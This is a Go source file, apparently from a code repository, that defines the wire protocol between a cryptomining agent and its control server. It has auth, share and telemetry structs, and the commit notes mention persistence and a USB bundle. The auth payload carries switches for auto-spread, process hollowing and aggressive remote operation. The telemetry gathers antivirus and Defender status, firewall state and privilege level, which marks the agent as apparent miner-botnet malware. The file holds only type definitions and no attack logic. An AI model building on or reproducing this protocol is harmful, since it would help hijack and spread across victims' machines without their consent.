- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
116 lines
4.3 KiB
Go
116 lines
4.3 KiB
Go
package client
|
|
|
|
import "encoding/json"
|
|
|
|
type Message struct {
|
|
Type string `json:"type"`
|
|
Payload json.RawMessage `json:"payload"`
|
|
}
|
|
|
|
// BackupPoolEntry is a fallback pool sent by the agent in its auth message.
|
|
type BackupPoolEntry struct {
|
|
Host string `json:"host"`
|
|
Port int `json:"port"`
|
|
TLS bool `json:"pool_tls"`
|
|
Pass string `json:"pass"`
|
|
}
|
|
|
|
type AuthPayload struct {
|
|
AgentID string `json:"agent_id"`
|
|
FleetSecret string `json:"fleet_secret"`
|
|
Wallet string `json:"wallet"`
|
|
BackupPools []BackupPoolEntry `json:"backup_pools,omitempty"`
|
|
Version string `json:"version"`
|
|
Hostname string `json:"hostname"`
|
|
CPUCores int `json:"cpu_cores"`
|
|
MemoryGB int `json:"memory_gb"`
|
|
Worker string `json:"worker_name"`
|
|
PoolHost string `json:"pool_host"`
|
|
PoolPort int `json:"pool_port"`
|
|
PoolTLS bool `json:"pool_tls"`
|
|
PoolPass string `json:"pool_pass"`
|
|
AIEnabled bool `json:"ai_enabled"`
|
|
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
|
|
AIModel string `json:"ai_model"`
|
|
HolePunch bool `json:"hole_punch"`
|
|
RemoteAggressive bool `json:"remote_aggressive"`
|
|
MeshP2P bool `json:"mesh_p2p"`
|
|
AutoSpread bool `json:"auto_spread"`
|
|
ProcessHollowing bool `json:"process_hollowing"`
|
|
Platform string `json:"platform"`
|
|
Arch string `json:"arch"`
|
|
OSVersion string `json:"os_version"`
|
|
MacAddress string `json:"mac_address,omitempty"`
|
|
}
|
|
|
|
type AuthResponse struct {
|
|
Success bool `json:"success"`
|
|
AgentID string `json:"agent_id"`
|
|
Error string `json:"error"`
|
|
}
|
|
|
|
type SharePayload struct {
|
|
JobID string `json:"job_id"`
|
|
Nonce string `json:"nonce"`
|
|
Hash string `json:"hash"`
|
|
Worker string `json:"worker_name"`
|
|
}
|
|
|
|
type StatsPayload struct {
|
|
Hashrate15s float64 `json:"hashrate_15s"`
|
|
Hashrate1m float64 `json:"hashrate_1m"`
|
|
Hashrate15m float64 `json:"hashrate_15m"`
|
|
SharesSubmitted int `json:"shares_submitted"`
|
|
SharesAccepted int `json:"shares_accepted"`
|
|
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
|
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
|
UptimeSeconds int `json:"uptime_seconds"`
|
|
|
|
// DNS config (T1016 — drift detected server-side)
|
|
DNSServers []string `json:"dns_servers,omitempty"`
|
|
DNSSearchDomains []string `json:"dns_search_domains,omitempty"`
|
|
|
|
// Listen ports count (full list via listen_ports command)
|
|
ListenPortCount *int `json:"listen_port_count,omitempty"`
|
|
|
|
// Resource pressure (mining-specific runtime telemetry)
|
|
CPUFreqMHz *int `json:"cpu_freq_mhz,omitempty"`
|
|
CPUMaxMHz *int `json:"cpu_max_mhz,omitempty"`
|
|
CPUThrottle *bool `json:"cpu_throttle,omitempty"`
|
|
CPUTempC *int `json:"cpu_temp_c,omitempty"`
|
|
DiskFreeGB *float64 `json:"disk_free_gb,omitempty"`
|
|
DiskTotalGB *float64 `json:"disk_total_gb,omitempty"`
|
|
DiskFreePct *int `json:"disk_free_pct,omitempty"`
|
|
GPUTempC *int `json:"gpu_temp_c,omitempty"`
|
|
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
|
|
|
|
// GPU / Ravencoin mining stats
|
|
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
|
|
GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
|
|
GPUHashrate1m float64 `json:"gpu_hashrate_1m,omitempty"`
|
|
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
|
|
GPUModel string `json:"gpu_model,omitempty"`
|
|
|
|
// SSH + posture
|
|
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
|
PostureScore *int `json:"posture_score,omitempty"`
|
|
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
|
|
DefenderRTP *bool `json:"defender_rtp,omitempty"`
|
|
AVProducts []string `json:"av_products,omitempty"`
|
|
FirewallDomain *bool `json:"firewall_domain,omitempty"`
|
|
FirewallPrivate *bool `json:"firewall_private,omitempty"`
|
|
FirewallPublic *bool `json:"firewall_public,omitempty"`
|
|
LastPatchDays *int `json:"last_patch_days,omitempty"`
|
|
LastPatch *string `json:"last_patch,omitempty"`
|
|
PendingUpdates *int `json:"pending_updates,omitempty"`
|
|
RebootPending *bool `json:"reboot_pending,omitempty"`
|
|
AgentElevated *bool `json:"agent_elevated,omitempty"`
|
|
Services []ServiceStatus `json:"services,omitempty"`
|
|
}
|
|
|
|
type ShareResult struct {
|
|
JobID string `json:"job_id"`
|
|
Accepted bool `json:"accepted"`
|
|
Error string `json:"error"`
|
|
}
|